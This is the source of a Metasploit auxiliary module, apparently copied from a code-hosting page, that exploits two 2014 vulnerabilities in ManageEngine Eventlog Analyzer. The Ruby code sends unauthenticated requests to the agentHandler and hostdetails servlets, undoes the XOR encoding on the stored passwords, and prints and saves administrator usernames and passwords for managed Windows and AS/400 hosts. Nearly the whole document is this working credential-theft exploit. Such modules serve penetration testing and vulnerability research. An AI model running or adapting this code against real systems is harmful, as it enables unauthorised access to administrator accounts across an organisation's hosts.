Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/eventlog_cred_disclosure.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Auxiliary8include Msf::Exploit::Remote::HttpClient9include Msf::Auxiliary::Report1011def initialize(info = {})12super(update_info(info,13'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',14'Description' => %q{15ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that16allow an unauthenticated user to obtain the superuser password of any managed Windows and17AS/400 hosts. This module abuses both vulnerabilities to collect all the available18usernames and passwords. First the agentHandler servlet is abused to get the hostid and19slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames20and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7,21the TARGETURI has to be prepended with /event.22},23'Author' =>24[25'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module26],27'License' => MSF_LICENSE,28'References' =>29[30[ 'CVE', '2014-6038' ],31[ 'CVE', '2014-6039' ],32[ 'OSVDB', '114342' ],33[ 'OSVDB', '114344' ],34[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/12' ]35],36'DisclosureDate' => '2014-11-05'))3738register_options(39[40Opt::RPORT(8400),41OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),42])43end444546def decode_password(encoded_password)47password_xor = Rex::Text.decode_base64(encoded_password)48password = ''49password_xor.bytes.each do |byte|50password << (byte ^ 0x30)51end52return password53end545556def run57res = send_request_cgi({58'uri' => normalize_uri(target_uri.path, 'agentHandler'),59'method' =>'GET',60'vars_get' => {61'mode' => 'getTableData',62'table' => 'HostDetails'63}64})6566unless res && res.code == 20067fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")68return69end7071# When passwords have digits the XML parsing will fail.72# Replace with an empty password attribute so that we know the device has a password73# and therefore we want to add it to our host list.74xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))75begin76doc = REXML::Document.new(xml)77rescue78fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")79end8081slid_host_ary = []82doc.elements.each('Details/HostDetails') do |ele|83if ele.attributes['password']84# If an element doesn't have a password, then we don't care about it.85# Otherwise store the slid and host_id to use later.86slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]87end88end8990cred_table = Rex::Text::Table.new(91'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',92'Indent' => 1,93'Columns' =>94[95'Host',96'Type',97'SubType',98'Domain',99'Username',100'Password',101]102)103104slid_host_ary.each do |host|105res = send_request_cgi({106'uri' => normalize_uri(target_uri.path, 'hostdetails'),107'method' =>'GET',108'vars_get' => {109'slid' => host[0],110'hostid' => host[1]111}112})113114unless res && res.code == 200115fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")116end117118begin119doc = REXML::Document.new(res.body)120rescue121fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")122end123124doc.elements.each('Details/Hosts') do |ele|125# Add an empty string if a variable doesn't exist, we have to check it126# somewhere and it's easier to do it here.127host_ipaddress = ele.attributes['host_ipaddress'] || ''128129ele.elements.each('HostDetails') do |details|130domain_name = details.attributes['domain_name'] || ''131username = details.attributes['username'] || ''132password_encoded = details.attributes['password'] || ''133password = decode_password(password_encoded)134type = details.attributes['type'] || ''135subtype = details.attributes['subtype'] || ''136137unless type =~ /Windows/ || subtype =~ /Windows/138# With AS/400 we get some garbage in the domain name even though it doesn't exist139domain_name = ""140end141142msg = "Got login to #{host_ipaddress} | running "143msg << type << (subtype != '' ? " | #{subtype}" : '')144msg << ' | username: '145msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)146msg << " | password: #{password}"147print_good(msg)148149cred_table << [host_ipaddress, type, subtype, domain_name, username, password]150151if type == 'Windows'152service_name = 'epmap'153port = 135154elsif type == 'IBM AS/400'155service_name = 'as-servermap'156port = 449157else158next159end160161credential_core = report_credential_core({162password: password,163username: username,164})165166host_login_data = {167address: host_ipaddress,168service_name: service_name,169workspace_id: myworkspace_id,170protocol: 'tcp',171port: port,172core: credential_core,173status: Metasploit::Model::Login::Status::UNTRIED174}175create_credential_login(host_login_data)176end177end178end179180print_line181print_line("#{cred_table}")182loot_name = 'manageengine.eventlog.managed_hosts.creds'183loot_type = 'text/csv'184loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'185loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'186p = store_loot(187loot_name,188loot_type,189rhost,190cred_table.to_csv,191loot_filename,192loot_desc)193print_status "Credentials saved in: #{p}"194end195196197def report_credential_core(cred_opts={})198# Set up the has for our Origin service199origin_service_data = {200address: rhost,201port: rport,202service_name: (ssl ? 'https' : 'http'),203protocol: 'tcp',204workspace_id: myworkspace_id205}206207credential_data = {208origin_type: :service,209module_fullname: self.fullname,210private_type: :password,211private_data: cred_opts[:password],212username: cred_opts[:username]213}214215credential_data.merge!(origin_service_data)216create_credential(credential_data)217end218end219220221